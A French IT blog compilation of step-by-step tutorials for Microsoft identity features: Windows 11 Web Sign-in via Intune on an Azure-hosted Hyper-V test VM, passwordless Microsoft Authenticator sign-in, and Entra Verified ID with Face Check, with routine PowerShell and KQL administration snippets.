Windows 11 avec Web Sign-in

Le Web Sign-in de Windows 11 est une fonctionnalité innovante qui permet aux utilisateurs de se connecter à leur appareil Windows en utilisant autre chose que le mot de passe pour s’identifier. Introduite avec la version 22H2, cette méthode de connexion dite Passwordless utilise l’application Microsoft Authenticator. Elle est particulièrement utile dans les environnements nécessitant des connexions rapides et sécurisées, tout en éliminant le besoin de mémoriser un mot de passe complexe.

Cet article est la suite de l’article écrit précédemment et consacré à la mise en place du Passwordless sur les comptes Microsoft 365. Voici un lien direct de ce dernier.

Plusieurs méthodes d’authentification et pour quoi faire ?

Il est en effet possible d’avoir des méthodes utilisées en tant que méthode principale, tandis que d’autres ne seront acceptées que dans le cadre de la MFA, comme le rappelle très justement Microsoft :

Certaines méthodes d’authentification peuvent être utilisées en tant que facteur principal lorsque vous vous connectez à une application ou un appareil, par exemple à l’aide d’une clé de sécurité FIDO2 ou d’un mot de passe. D’autres méthodes d’authentification sont disponibles uniquement comme facteur secondaire lorsque vous utilisez une authentification multifacteur Microsoft Entra ou une SSPR.

Microsoft Learn

Voici un tableau détaillant les différentes méthodes acceptées avec leur périmètre

MéthodeAuthentification principaleAuthentification secondaire
Windows Hello EntrepriseOuiMFA
Notification Push Microsoft AuthenticatorNonAuthentification multi-facteur et réinitialisation de mot de passe en libre-service
Microsoft Authenticator sans mot de passeOuiNon
Clé d’accès dans Microsoft Authenticator (préversion)OuiAuthentification multi-facteur et réinitialisation de mot de passe en libre-service
Authenticator LiteNonMFA
Clef d’accès (FIDO2)OuiMFA
Authentification par certificatOuiMFA
Jetons matériels OATH (version préliminaire)NonAuthentification multi-facteur et réinitialisation de mot de passe en libre-service
Jetons logiciels OATHNonAuthentification multi-facteur et réinitialisation de mot de passe en libre-service
Méthodes d’authentification externes (préversion)NonMFA
Passe d’accès temporaire (TAP)OuiMFA
SMSOuiAuthentification multi-facteur et réinitialisation de mot de passe en libre-service
Appel vocalNonAuthentification multi-facteur et réinitialisation de mot de passe en libre-service
Mot de passeOuiNon

Quel est le rapport entre Web sign-in et Passwordless ?

Web Sign-in est donc une méthode principale de type Passwordless. Plusieurs articles sur ce blog parlent déjà d’autres méthodes Passwordless comme :

Voici d’ailleurs d’autres liens en anglais très intéressants :

Dois-je avoir une connexion internet active pour m’authentifier via Web Sign-in ?

La réponse est oui : Il faut disposer d’une connectivité internet active car l’authentification web Sign-in se fera obligatoirement par cette dernière.

A partir de quelle version Windows 11 Web Sign-in est compatible ?

Windows ProWindows EntrepriseWindows Pro Education/SEWindows Éducation
OuiOuiOuiOui

À compter de Windows 11, version 22H2 avec KB5030310, vous pouvez activer une expérience de connexion web sur Microsoft Entra appareils joints. Cette fonctionnalité est appelée Connexion web et déverrouille de nouvelles options et fonctionnalités de connexion.

Microsoft Learn

Dans cet article, je vous propose de mettre en place et de tester l’authentification Web Sign-in sur un poste Windows 11 via le Passwordless de l’application Microsoft Authenticator :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice consacré au web Sign-in Windows, il vous faudra disposer de :

  • Un tenant Microsoft
  • Une souscription Azure valide
  • Un smartphone sous iOS ou Android ayant la dernière version de Microsoft Authenticator

Souhaitant faire un test sur une version propre d’un poste sous Windows 11, j’ai choisi de le simuler grâce à un environnement virtualisé Hyper-V recréé sous Azure. Il est en effet possible dans Azure d’imbriquer de la virtualisation. Cela demande malgré tout quelques exigences, comme le SKU de la machine virtuelle Hyper-V, mais aussi sa génération.

Mais avant cela, quelques configurations sont nécessaires au niveau du tenant.

Etape I – Configuration du tenant :

Pour cela, rendez-vous sur la page suivante d’Entra ID afin d’activer l’inscription automatique Windows, puis vérifiez le paramètre suivant :

Toujours sur le portail Entra ID, cliquez ici afin d’activer la méthode d’authentification principale via Microsoft Authenticator :

Si ce n’est pas encore le cas, activez la méthode d’authentification Microsoft Authenticator (article explicatif) :

Notre tenant dispose de la configuration nécessaire pour profiter du web Sign-in via le Passwordless. Nous allons pouvoir continuer la configuration de Windows 11 via une VM créée sous Azure.

Etape II – Préparation de la machine virtuelle Hyper-V :

Depuis le portail Azure, commencez par rechercher le service des machines virtuelles :

Cliquez-ici pour créer votre machine virtuelle Hyper-V :

Renseignez tous les champs, en prenant soin de bien sélectionner les valeurs suivantes :

Choisissez une taille de machine virtuelle présente dans la famille Dsv3 :

Cliquez sur Suivant :

Rajoutez un second disque pour stocker la VM Windows 11, puis cliquez sur Suivant :

Retirez l’adresse IP publique pour des questions de sécurité, puis lancez la validation Azure :

Une fois la validation réussie, lancez la création des ressources Azure :

Quelques minutes plus tard, cliquez-ici pour voir votre machine virtuelle Hyper-V :

Ensuite, cliquez-ici pour déployer le service Azure Bastion :

Peu après, constatez le déploiement réussi d’Azure Bastion, puis renseignez les identifiants renseignés lors de la création de votre VM Hyper-V :

Une fois connecté sur votre machine virtuelle Hyper-V, ouvrez Windows PowerShell :

Exécutez la commande suivante pour installer les deux rôles suivants :

  • Rôle DHCP
  • Rôle Hyper-V
Install-WindowsFeature -Name DHCP,Hyper-V  –IncludeManagementTools

Attendez environ une minute que l’installation des 2 rôles se termine :

Lancez la commande suivante pour lancer un redémarrage immédiat de votre VM Hyper-V :

Shutdown -R

Attendez environ 30 secondes que le redémarrage se termine pour vous reconnecter à celle-ci, toujours via le service Azure Bastion :

Une fois la session Bastion rouverte, ouvrez PowerShell en mode ISE :

Lancez le script suivant afin de créer un switch virtuel dans Hyper-V de type interne :

$switchName = "InternalNAT"
New-VMSwitch -Name $switchName -SwitchType Internal
New-NetNat –Name $switchName –InternalIPInterfaceAddressPrefix “192.168.0.0/24”
$ifIndex = (Get-NetAdapter | ? {$_.name -like "*$switchName)"}).ifIndex
New-NetIPAddress -IPAddress 192.168.0.1 -InterfaceIndex $ifIndex -PrefixLength 24

Lancez le script suivant afin de configurer un périmètre DHCP avec une règle de routage, couplé au serveur DNS d’Azure :

Add-DhcpServerV4Scope -Name "DHCP-$switchName" -StartRange 192.168.0.50 -EndRange 192.168.0.100 -SubnetMask 255.255.255.0
Set-DhcpServerV4OptionValue -Router 192.168.0.1 -DnsServer 168.63.129.16
Restart-service dhcpserver

Ouvrez le Gestionnaire de disques depuis le menu démarrer afin de configurer le disque de données ajouté sur votre VM Hyper-V :

Dès l’ouverture du Gestionnaire de disques, cliquez sur OK pour démarrer l’initialisation du disque de données :

Sur celui-ci, créez un nouveau volume :

Cliquez sur Suivant :

Cliquez sur Suivant :

Cliquez sur Suivant :

Cliquez sur Suivant :

Cliquez sur Terminer :

L’environnement Hyper-V est maintenant en place. Nous allons maintenant pouvoir créer ensemble une ou plusieurs machines virtuelles invitées.

Etape III – Préparation de la machine virtuelle Windows 11 :

Pour cela, il est nécessaire de récupérer l’image au format ISO afin de créer la machine virtuelle, puis d’y installer l’OS.

Pour ma part, je suis passé par mon abonnement Visual Studio :

Stockez le fichier ISO sur le disque F de votre VM Hyper-V :

Depuis votre VM Hyper-V, rouvrez votre console Hyper-V Manager, puis cliquez-ici pour créer votre machine virtuelle Windows 11 :

Cliquez sur Suivant :

Modifier les informations suivantes pour pointer vers le nouveau lecteur créé sur la VM Hyper-V, puis cliquez sur Suivant :

Pensez à bien choisir Génération 2 :

Modifier la taille de la mémoire vive allouée à la VM Windows 11, puis cliquez sur Suivant :

Utilisez le switch créé précédemment, puis cliquez sur Suivant :

Cliquez sur Suivant :

Utilisez le fichier ISO de Windows 11 téléchargé précédemment, puis cliquez sur Suivant :

Cliquez sur Terminer pour finaliser la création de votre machine virtuelle Windows 11 :

Une fois la machine virtuelle créée, modifiez sa configuration comme ceci :

Dans la section Sécurité, cochez la case suivante pour activer la puce TPM :

Modifiez le nombre de processeurs virtuels afin d’accélérer l’installation de Windows 11, puis cliquez sur OK :

Double-cliquez sur votre machine virtuelle Windows 11 :

Cliquez-ici pour lancer le démarrage de la VM :

Appuyez sur n’importe quelle touche du clavier pour démarrer sur l’image ISO de Windows 11 :

Attendez que le chargement se termine :

La machine virtuelle est maintenant prête à installer Windows 11. Suivez toutes les étapes de l’installation.

Choisissez les informations de langue qui vous correspondent, puis cliquez sur Suivant :

Lancez l’installation de Windows 11 :

Attendez que le démarrage de l’installation se lance, puis choisissez une version de Windows 11, puis cliquez sur Suivant :

Acceptez les termes et conditions de Microsoft, puis cliquez sur Suivant :

Sélectionnez l’installation personnalisée de Windows 11 :

Validez l’installation sur le seul disque disponible, puis cliquez sur Suivant :

Attendez maintenant que l’installation de Windows 11 commence :

Lancez le redémarrage de la machine virtuelle Windows 11 :

Attendez quelques minutes que le redémarrage se poursuivre :

Sélectionnez le pays adapté, puis cliquez sur Oui :

Choisissez le clavier correspondant au vôtre, puis cliquez sur Oui :

Ajoutez, si besoin, un second clavier :

Attendez que l’installation de Windows 11 vérifie si de nouvelles mises à jour OS sont disponibles :

Nommez votre machine virtuelle Windows 11 selon vos souhaits, puis cliquez sur Suivant :

Attendez quelques minutes la fin de la configuration :

Adaptez la configuration des paramètres de confidentialité, puis cliquez sur Accepter :

Attendez quelques minutes la seconde vérification des mises à jour OS :

Attendez enfin la finalisation de la configuration de Windows 11 :

Finaliser la sécurisation de votre poste en configurant Windows Hello en cliquant sur OK :

Définissez le code PIN de votre choix, puis cliquez sur OK :

Cliquez à nouveau sur OK :

Vous voilà enfin sur le bureau Windows de votre machine virtuelle Windows 11 :

L’environnement Windows 11 pour notre test est maintenant opérationnel. Afin de déployer la configuration Web Sign-in, nous allons la pousser via la console de gestion Intune.

Etape IV – Configuration Intune – Web Sign-in :

Rendez-vous à nouveau sur le portail Entra ID afin de vérifier que la machine virtuelle Windows 11 jointe grâce à notre utilisateur de test y figure bien :

Rendez-vous également sur le portail Intune afin de vérifier que la machine virtuelle Windows 11 y figure également :

Cliquez-ici pour créer une nouvelle police de configuration Windows :

Choisissez la configuration de profil suivante, puis cliquer sur Créer :

Nommez votre profil de configuration, puis cliquez sur Suivant :

Cliquez ici pour ajouter un ou des paramètres à votre profil :

Recherchez par mot clef, cliquez sur la catégorie suivante, puis choisissez le paramètre suivant :

Activez le paramètre repris, puis cliquez sur Suivant :

Cliquez sur Suivant :

Sélectionnez un groupe de machines en rapport avec le test, puis cliquez sur Suivant :

Vérifiez la configuration de votre profil, puis lancez sa création :

La nouvelle police de configuration apparaît alors dans la liste :

Continuer la configuration Intune via la création d’une seconde police de configuration si vous souhaitez désactiver l’ouverture de session Windows via le mot de passe.

Etape V – Configuration Intune – Passwordless :

Cliquez-ici pour créer une seconde police de configuration Windows :

Choisissez la même configuration de profil, puis cliquer sur Créer :

Nommez votre second profil de configuration, puis cliquez sur Suivant :

Recherchez par mot clef, cliquez sur la catégorie suivante, puis choisissez le paramètre suivant :

Activez le paramètre ci-dessous, puis cliquez sur Suivant :

Cliquez sur Suivant :

Sélectionnez un groupe de machines en rapport avec le test, puis cliquez sur Suivant :

Vérifiez la configuration de votre second profil, puis lancez sa création :

La seconde police de configuration apparaît alors dans la liste :

Cliquez ici pour voir le détail de son déploiement sur votre poste de test, attendez plusieurs minutes, puis rafraîchissez cette page plusieurs fois au besoin :

Afin d’accélérer le processus, vous pouvez déclencher une synchronisation Intune via le menu suivant sous Windows 11 :

Cliquez sur le bouton suivant, puis attendez environ 5 minutes :

Une fois la configuration correctement déployée, il ne nous reste qu’à tester l’ouverture de session Windows de notre utilisateur.

Alternative :

En alternative à Intune, il aurait été possible travailler sur le registre Windows pour agir directement sur la configuration Passwordless et Web Sign-in :

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager\current\device\Authentication

Etape VI – Test d’authentification utilisateur :

Pour cela, fermez la session Windows 11 actuellement ouverte :

De retour sur la mire d’authentification, cliquez sur le bouton suivant afin de constater la différentes méthodes d’authentification autorisées :

Cliquez selon votre cas sur le bouton Sign in ou Web Sign in :

Constatez l’apparition d’une fenêtre d’authentification Entra ID vous proposant d’envoyer une notification sur votre Smartphone configuré comme Passwordless :

Sur votre smartphone, saisissez le nombre précédemment affiché :

Juste après, constatez la bonne ouverture de la session Windows 11 :

Enfin, ouvrez les propriétés Windows de votre compte de test afin d’y constater l’absence de méthode consacrée au mot de passe :

Conclusion

La fonctionnalité Web Sign-in de Windows 11 marque une avancée notable dans la sécurisation et la simplification des méthodes de connexion.

En éliminant l’usage des mots de passe traditionnels, elle permet aux utilisateurs de s’authentifier via un navigateur web en utilisant l’application Microsoft Authenticator.

Disponible à partir de la version 22H2 de Windows 11, cette solution s’inscrit dans la continuité de la stratégie Passwordless Cloud de Microsoft.

Enfin, Windows 11 web Sign-in est également compatible avec Temporary Access Pass 😎

Soyez Passwordless grâce à Microsoft Authenticator

Très souvent, la sécurité d’un périmètre ou d’un environnement focalise une attention particulière aux processus d’authentification ainsi qu’aux moyens mis à disposition aux utilisateurs pour y parvenir. Quelles méthodes, quelles conditions, quels protocoles mettre en place ? La MFA est un principe de base maintenant acquis pour tous et set présent dans une majorité de systèmes, mais le mot de passe reste alors encore de la partie.

Qu’est-ce que le Passwordless ?

Le concept de Passwordless (sans mot de passe) désigne une méthode d’authentification qui permet aux utilisateurs de se connecter à des systèmes ou des services sans avoir à utiliser un mot de passe traditionnel.

Autrement dit, le concept de Passwordless regroupe plusieurs méthodes d’authentification différentes, comme :

  • Passkey via Microsoft Authenticator
  • Push via Microsoft Authenticator
  • FIDO2
  • Windows Hello
  • SmartCard

Pourquoi vouloir se débarrasser du mot de passe ?

L’objectif principal du Passwordless est de réduire les risques de compromission liés aux mots de passe traditionnels, comme les attaques par hameçonnage (phishing), les vols de mot de passe, ou encore les mauvaises pratiques liées à la gestion des mots de passe (mots de passe faibles ou réutilisés).

Passwordless vs MFA ?

Passwordless et MFA (Multi-Factor Authentication) sont 2 méthodes d’authentification sécurisée, mais elles diffèrent dans leur approche et leur mise en œuvre.

Des fonctionnalités telles que l’authentification multifacteur (MFA) sont un excellent moyen de sécuriser votre organisation, mais les utilisateurs sont souvent frustrés par la couche de sécurité supplémentaire en plus de devoir mémoriser leurs mots de passe.

Les méthodes d’authentification sans mot de passe sont plus pratiques, car le mot de passe est supprimé et remplacé par quelque chose que vous avez ou quelque chose que vous êtes ou connaissez.

Microsoft Learn

Voici une comparaison entre ces 2 concepts :

CaractéristiquePasswordlessMFA (Multi-Factor Authentication)
Utilisation des mots de passeAucune utilisation de mot de passeUtilise souvent un mot de passe + autre facteur
SécuritéTrès sécurisé (aucun mot de passe à compromettre)Très sécurisé (nécessite plusieurs facteurs)
Expérience utilisateurFluide et simplifiéePeut être plus complexe (plusieurs étapes)
Technologie utiliséeBiométrie, clés de sécurité, lien magique, etc.Combinaison de mot de passe + SMS, email, biométrie
Exemples d’utilisationConnexion par empreinte digitale, lien magiqueConnexion par mot de passe + code SMS ou app Authenticator

Dans cet article, je vous propose de mettre en place et de tester l’authentification Passwordless via l’application Microsoft Authenticator sur smartphone pour une identité 365 :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice sur la méthode Passwordless de Microsoft, il vous faudra disposer de :

  • Un tenant Microsoft
  • Un smartphone sous iOS ou Android ayant la dernière version de Microsoft Authenticator

Important : à l’issue de cette démonstration, gardez en tête que votre smartphone sera enregistré (mais non managé) dans chaque tenant Microsoft où il sera utilisé pour se connecter en Passwordless.

Commençons par activer le service Passwordless sur le tenant 365.

Etape I – Configuration du tenant :

Pour cela, rendez-vous dans la section suivante de votre portail Entra, puis cliquez sur Microsoft Authenticator :

Si ce n’est pas encore le cas, activez la méthode d’authentification Microsoft Authenticator :

Définissez le périmètre des utilisateurs concernés en laissant le mode d’authentification à Any ou Passwordless :

Basculez sur le second onglet afin d’activer ou non Microsoft Authenticator OTP :

L’option suivante exigeant de retaper le numéro affiché n’est pas modifiable :

Choisissez au besoin ou non d’afficher l’application demandant l’authentification Passwordless :

Choisissez au besoin ou non d’afficher la localisation du demandeur de l’authentification Passwordless :

Choisissez au besoin ou non d’afficher Microsoft Authenticator sur les applications de type Compagnon :

Enfin, cliquez sur Sauvegarder :

Afin de comprendre le fonctionnement du processus depuis l’enrôlement de départ de Microsoft Authenticator, il est préférable de créer un utilisateur de test.

Etape II – Configuration du l’utilisateur :

Toujours sur votre portail Entra, cliquez ici pour créer un nouvel utilisateur sur votre tenant Microsoft :

Renseignez-lui un UPN, un nom d’affichage, ainsi qu’un mot de passe temporaire, puis lancez la validation Entra :

Une fois la validation Entra réussie, lancez la création de votre utilisateur des test :

Une fois l’utilisateur créé, ouvrez le navigateur internet de votre choix en mode privé :

Rendez-vous sur la page office.com, puis cliquez ici pour vous authentifier :

Saisissez le nom de compte de votre utilisateur de test ainsi que son mot de passe provisoire :

Définissez un nouveau mot de passe :

Cliquez sur Oui :

Notre environnement 365 et notre utilisateur sont maintenant créé.

Passons maintenant à l’étape suivante qui consiste à associer Microsoft Authenticator à notre compte de test.

Etape III – Configuration MFA :

En haut à droite, cliquez ici pour afficher les propriétés de votre compte 365 :

Dans l’onglet dédié aux informations de sécurité, ajoutez une nouvelle méthode d’authentification :

Choisissez la méthode suivante pour configurer Microsoft Authenticator :

Installez au besoin l’application Microsoft Authenticator depuis un store d’applications, puis cliquez sur Suivant :

Cliquez sur Suivant :

Choisissez le type Compte professionnel ou scolaire :

Cliquez ici pour utiliser l’appareil photo afin de scanner le QR code :

Scanner le QR code présenté par Microsoft :

Une fois scanné, cliquez sur Suivant :

Une notification est alors envoyée à votre smartphone :

Saisissez le nombre précédemment affiché, puis cliquez sur Oui :

Confirmez votre identité sur le smartphone via un code PIN ou une empreinte digitale :

La méthode Microsoft Authenticator est maintenant correctement configurée sur votre compte de test, cliquez alors sur Suivant :

La méthode Microsoft Authenticator apparaît alors sur votre compte en tant que méthode dite MFA :

L’utilisateur de test est maintenant correctement configuré avec un mot de passe traditionnel et une méthode de sécurité de type MFA.

Etape IV – Configuration Passwordless :

Afin d’activer la méthode Passwordless, nous allons transformer le compte de test enregistré sur l’application Microsoft Authenticator.

Pour cela, ouvrez l’application Microsoft Authenticator, sélectionnez votre compte de test, puis cliquez ici pour activer la fonctionnalité Passwordless :

Microsoft vous informe que l’appareil sera inscrit dans le tenant ID correspondant, cliquez sur Continuer

Sur l’application Microsoft Authenticator, renseignez le mot de passe de votre compte de test :

Un nombre apparaît alors sur la fenêtre, ainsi qu’une notification Microsoft Authenticator, vous demandant de ressaisir ce dernier :

Confirmez votre identité sur le smartphone via un code PIN ou une empreinte digitale :

Cliquez ici pour confirmer l’enregistrement de votre smartphone sur le tenant ID concerné :

Microsoft Authenticator vous confirme le succès des opérations et de l’activation de la fonctionnalité Passwordless, cliquez alors sur Terminer :

Retournez sur le portail Entra afin de constater l’apparition de votre smartphone en tant que périphérique enregistré :

De retour sur les éléments de sécurité de votre utilisateur de test, la méthode Microsoft Authenticator s’est transformée de MFA à Passwordless :

Tout notre environnement de test est maintenant configuré. Il ne nous reste qu’à tester que la méthode Passwordless fonctionne correctement à la place du mot de passe.

Etape V – Test du Passwordless :

Rouvrez à nouveau un navigateur internet en mode privée :

Rendez-vous à nouveau sur la page office.com, puis cliquez ici pour vous authentifier :

Saisissez le nom de compte de votre utilisateur de test, puis, au lieu de renseigner son mot de passe, cliquez sur le choix suivant :

Microsoft envoie alors une notification sur le smartphone configuré comme Passwordless :

Ouvrez la notification Microsoft Authenticator, puis ressaisissez le nombre précédemment indiqué par Microsoft :

De retour sur votre navigateur, confirmez votre souhait de rester authentifié en cliquant sur Oui :

La page d’accueil d’Office 365 s’ouvre bien, l’utilisateur s’est correctement authentifié sans mot de passe :

Côté traçabilité, il est possible de retrouver des logs des authentifications Passwordless dans plusieurs écrans de Microsoft :

Côté utilisateur, via sa gestion de compte :

Côté Administrateur, via la vue des logs d’un utilisateur sur Entra ID :

Ou via une requête KQL après l’activation Log Analytics sur Entra ID :

SigninLogs
| where AuthenticationDetails has "passwordless"
| project TimeGenerated, UserPrincipalName, AuthenticationDetails , ResultDescription
| order by TimeGenerated desc

Conclusion

En conclusion, l’adoption du Passwordless avec Microsoft Authenticator constitue une avancée significative dans la sécurisation des environnements numériques tout en améliorant l’expérience utilisateur.

En éliminant la nécessité de mémoriser et de gérer des mots de passe, cette méthode réduit les risques liés aux compromissions, telles que les attaques de phishing ou le vol de mots de passe.

De plus, elle simplifie les processus d’authentification, rendant l’accès aux services plus fluide. Pour les entreprises, c’est une opportunité d’offrir un meilleur équilibre entre sécurité et facilité d’utilisation, tout en renforçant la confiance des utilisateurs dans la protection de leurs données.

Bref, aucune méthode n’est jamais parfaite 😎 :

Entra Verified ID + Face Check

La vérification faciale est une solution qui existe chez plusieurs éditeurs et qui compare des visages tout en respectant la vie privée. Elle aide les entreprises à vérifier l’identité des personnes de manière sécurisée et efficace. Par exemple, une banque peut l’utiliser pour s’assurer que la personne ouvrant un compte est bien celle qu’elle prétend déclarer. Mais peut-on combiner cette fonctionnalisé avec Entra Verified ID ?

La réponse est oui :

La correspondance faciale est alimentée par Azure AI services. En partageant uniquement les résultats de correspondance et non les données d’identité sensibles, Vérification faciale protège la confidentialité des utilisateurs tout en permettant aux organisations de s’assurer que la personne est bien qui elle prétend être.

Microsoft Learn

Combinée à Entra Verified ID, Face check permettra alors une expérience plus rapide dans le partage d’une identité :

La documentation Microsoft explique d’ailleurs très bien le concept et l’intégration dans une application, mais également une FAQ disponible juste ici.

Vérification faciale vs Face ID ?

Face ID est une offre d’option de sécurité biométrique basée sur la vision pour les produits Apple pour déverrouiller un appareil en vue d’accéder à une application mobile. Vérification faciale est une fonctionnalité de Vérification d’identité Microsoft Entra qui utilise également la technologie IA basée sur la vision, mais compare l’utilisateur au justificatif Vérification d’identité présenté… Les deux mécanismes requièrent que l’utilisateur soit face à une caméra dans le processus, mais fonctionne de différentes manières.

Microsoft Learn


Mais qu’advient-il des données liées aux images ?

Les données ne sont ni stockées ni conservées par aucun des services Microsoft Authenticator, Vérification d’identité ou Azure AI. En outre, les images ne sont pas non plus partagées avec l’application de vérificateur. L’application de vérificateur obtient uniquement le score de confiance en retour.

Dans un système basé sur l’IA, le score de confiance est la réponse de pourcentage de probabilité pour une requête au système. Pour ce scénario, le score de confiance est la probabilité que la photo du justificatif de l’utilisateur Vérification d’identité corresponde à la capture de l’utilisateur sur l’appareil mobile.

Microsoft Learn

Comme toujours, je vous propose de suivre ensemble ce pas à pas dans le but de tester ce tutoriel Microsoft :

Etape 0 – Rappel des prérequis :

Afin de tester la fonctionnalité Face Check disponible sur les identités vérifiées via Entra ID nous allons avoir besoin de :

  • Un tenant Microsoft active
  • Une souscription Azure active

Commençons par configurer notre tenant afin de pouvoir générer des identités vérifiées personnalisées.

Etape I – Configuration du tenant :

Pour cela, rendez-vous sur la page suivante d’Entra ID afin de démarrer le processus de mise en route des identités vérifiées.

Deux options de mise en place s’offrent alors à vous :

Pour cette démonstration de Face Check, choisissez la configuration rapide :

Si votre tenant contient plusieurs domaines personnalisés, choisissez celui que vous souhaitez mettre en place pour ce service d’identité vérifiée, puis cliquez sur Sauvegarder :

La configuration sur votre tenant se met alors en place, Entra vous invite à patienter environ 1 minute :

Une fois la configuration automatique terminée, la notification suivante apparaît :

Afin de configurer Face Check, nous avons besoin de créer un groupe de ressources Azure. Rendez-vous sur le portail Azure, puis cliquez ici :

Cliquez ici pour créer un nouveau groupe de ressources Azure :

Renseignez les informations de base pour ce groupe de ressources, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création du groupe de ressources :

Retournez sur le portail d’Entra ID afin d’activer l’addon Face Check :

Prenez le temps de lire les conditions tarifaires de Face Check, dont le prix sera appliqué à partir du 12 août 2024 :

Renseignez vos informations Azure concernant le groupe de ressources créé précédemment, puis cliquez sur Valider :

Une fois la validation Azure réussie, cliquez sur Activer :

La notification Entra suivante apparaît alors :

La configuration du service Verified ID destiné à Face Check est maintenant terminée. Nous allons avoir maintenant besoin de créer un utilisateur de test.

Etape II – Création d’un utilisateur de test :

Toujours sur le portail Entra, créez un nouvel utilisateur Entra ID :

Renseignez les informations de base de cet utilisateur, puis cliquez sur Suivant :

Renseignez également une adresse de messagerie :

Renseignez également un pays de localisation, puis lancez la validation Entra :

Lancez la création de votre utilisateur de test :

La notification Entra suivante apparaît alors :

Une fois l’utilisateur de test créé, ajoutez une photo de vous sur le profil de ce dernier :

Ouvrez le navigateur de votre choix en mode privé :

Ouvrez la page Mon compte de Microsoft, puis authentifiez-vous avec votre utilisateur de test :

A votre première connexion, personnalisez son mot de passe :

Cliquez ici afin d’obtenir une identité vérifiée :

Microsoft génère alors un QR code pour générer et stocker une identité vérifiée dans l’application Microsoft Authenticator de votre smartphone :

Sur votre smartphone, ouvrez Microsoft Authenticator, puis cliquez ici pour scanner le QR Code :

Confirmez l’ajout de votre identité vérifiée en cliquant sur Ajouter :

Sur votre smartphone, un clic sur votre identité vérifiée affiche les informations stockées dans cette dernière, dont votre photo :

Une première activité correspondante à la réception de cette identité vérifiée est visible juste ici :

Cette nouvelle identité vérifiée rejoint les autres déjà en place dans Microsoft Authenticator :

La prochaine étape sera de créer une application de test pour vérifier le bon fonctionnement de Face Check pour notre nouvel utilisateur.

Si vous ne souhaitez pas déployer d’application sur Azure, vous pouvez également utiliser celle mise à disposition par Microsoft.

Etape III – Création d’une application de test :

Sur la portail Entra, copiez votre DID afin de la configurer plus tard dans l’application :

Rendez-vous sur la page GitHub suivante, puis déployez l’application sur votre tenant par ce lien :

Renseignez les 2 champs suivants, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création des ressources :

Attendez environ 5 minutes la fin du déploiement Azure, qui devrait peut-être présenter l’erreur non bloquante suivante, puis cliquez ici pour continuer :

Vérifiez que l’application déployée dispose bien de sa propre identité :

Copiez le script ci-dessous dans un éditeur de texte en prenant soin de renseigner les deux informations suivantes propres à votre déploiement :

  • Votre tenant ID
  • Le nom de votre application de test déployé
$TenantID="<YOUR TENANTID>"
$YourAppName="<NAME OF YOUR AZURE WEBAPP>"

#Do not change this values below
#
$ApiAppId = "3db474b9-6a0c-4840-96ac-1fceb342124f"
$PermissionName = "VerifiableCredential.Create.PresentRequest"
 
# Install the module
Install-Module AzureAD

Connect-AzureAD -TenantId $TenantID

$MSI = (Get-AzureADServicePrincipal -Filter "displayName eq '$YourAppName'")

Start-Sleep -Seconds 10

$ApiServicePrincipal = Get-AzureADServicePrincipal -Filter "appId eq '$ApiAppId'"
$AppRole = $ApiServicePrincipal.AppRoles | Where-Object {$_.Value -eq $PermissionName -and $_.AllowedMemberTypes -contains "Application"}
New-AzureAdServiceAppRoleAssignment -ObjectId $MSI.ObjectId -PrincipalId $MSI.ObjectId ` -ResourceId $ApiServicePrincipal.ObjectId -Id $AppRole.Id

Toujours sur le portail Azure, ouvrez par ce bouton Azure Cloud Shell :

Exécutez le script précédemment modifié, puis attendez le résultat suivant :

Retournez sur le portail Entra, puis recherchez votre application de test :

Vérifiez la présence de la permission suivante nécessaire à la gestion des identités vérifiées :

Tout est maintenant en place, il nous reste qu’à tester notre application.

Etape IV – Test application via Face Check :

Retournez sur le portail Azure afin de copier l’URL web de votre application de test :

Ouvrez un nouvel onglet vers cette URL de test, puis cliquez ici :

Votre application génère alors un QR code à scanner :

Depuis votre smartphone, ouvrez Microsoft Authenticator afin de scanner le QR code :

Confirmez votre action de partage de votre identité vérifiée avec votre application de test en cliquant sur Suivant :

Cliquez sur Suivant pour démarrer la vérification avec votre visage :

Suivez les indications de l’application afin de valider l’opération Face Check :

Le message suivant vous confirme le succès de la vérification Face Check :

Cliquez à nouveau sur Partager pour confirmer l’action :

Votre application web vous confirme bien le succès du partage et le score retourné par la fonction Face Check :

Une nouvelle activité Woordgrove Helpdesk s’ajoute sur votre identité vérifiée :

Quelques informations supplémentaires sur ce partage sont disponibles :

Conclusion

L’identité décentralisée promet de redonner le contrôle des données aux utilisateurs, en assurant une gestion sécurisée et privée des identités numériques :

  • Contrôle et Sécurité : Les utilisateurs gèrent leurs propres identifiants et données, réduisant les risques de violations et d’usurpation d’identité.
  • Confidentialité : Les données personnelles sont partagées uniquement avec consentement explicite, sans intermédiaires centralisés.
  • Interopérabilité : Utilisation de normes ouvertes (comme les DID et justificatifs vérifiables), permettant une intégration fluide avec divers systèmes.
  • Fiabilité : Justificatifs émis par des entités de confiance, validés de manière sécurisée et infalsifiable.

Custom Entra Verified ID

Pour continuer sur le sujet des identités vérifiées disponibles sur Microsoft Entra (dont un premier article est disponible juste ici), je vous propose dans ce second de suivre un tutoriel élaboré par Microsoft qui est assez intéressant : Il s’agit de créer votre propre système d’identité vérifié personnalisé.

Apprenez à émettre et à vérifier des informations d’identification à l’aide du même locataire Microsoft Entra… Dans ce tutoriel, vous passez en revue les étapes nécessaires à la présentation et à la vérification de votre premier justificatif vérifiable : une carte d’expert en justificatif vérifié.

Microsoft Learn

Microsoft nous montre au travers de ce schéma le fonctionnement d’une application tierce et des interactions avec le service Entra Verified ID de notre tenant :

Comme toujours, je vous propose de suivre ensemble ce pas à pas dans le but de tester ce tutoriel :

Etape 0 – Rappel des prérequis :

Afin de tester l’intégration des identités vérifiées personnalisées au sein d’une application de test, nous allons avoir besoin de :

Commençons par configurer notre tenant afin de pouvoir générer des identités vérifiées personnalisées.

Etape I – Configuration du tenant :

Pour cela, rendez-vous sur la page suivante d’Entra ID afin de démarrer le processus de mise en route des identités vérifiées.

Deux options de mise en place s’offrent alors à vous :

Pour cette démonstration, choisissez la Configuration rapide :

Si votre tenant contient plusieurs domaines personnalisés, choisissez celui que vous souhaitez mettre en place pour votre service d’identité vérifiée, puis cliquez sur Sauvegarder :

La configuration sur votre tenant se met alors en place, Microsoft Entra vous invite à patienter environ 1 minute :

Une fois la configuration automatique terminée, la notification suivante apparaît :

Etape II – Préparation du poste :

Comme le préconise le tutoriel de Microsoft, installez Visual Studio Code ou un éditeur de code similaire :

